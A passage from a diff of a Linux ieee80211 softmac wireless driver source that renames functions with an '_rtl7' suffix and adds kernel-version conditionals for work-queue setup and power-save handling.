IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1338,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1477,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1488,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1631,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1656,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1670,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1687,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1717,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1739,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1767,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1790,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) { - +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1887,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1918,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - - ieee->rate = 540; + +// ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; - ieee->rate = 110; +// ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1963,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1973,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2025,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); + + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2149,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2181,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int 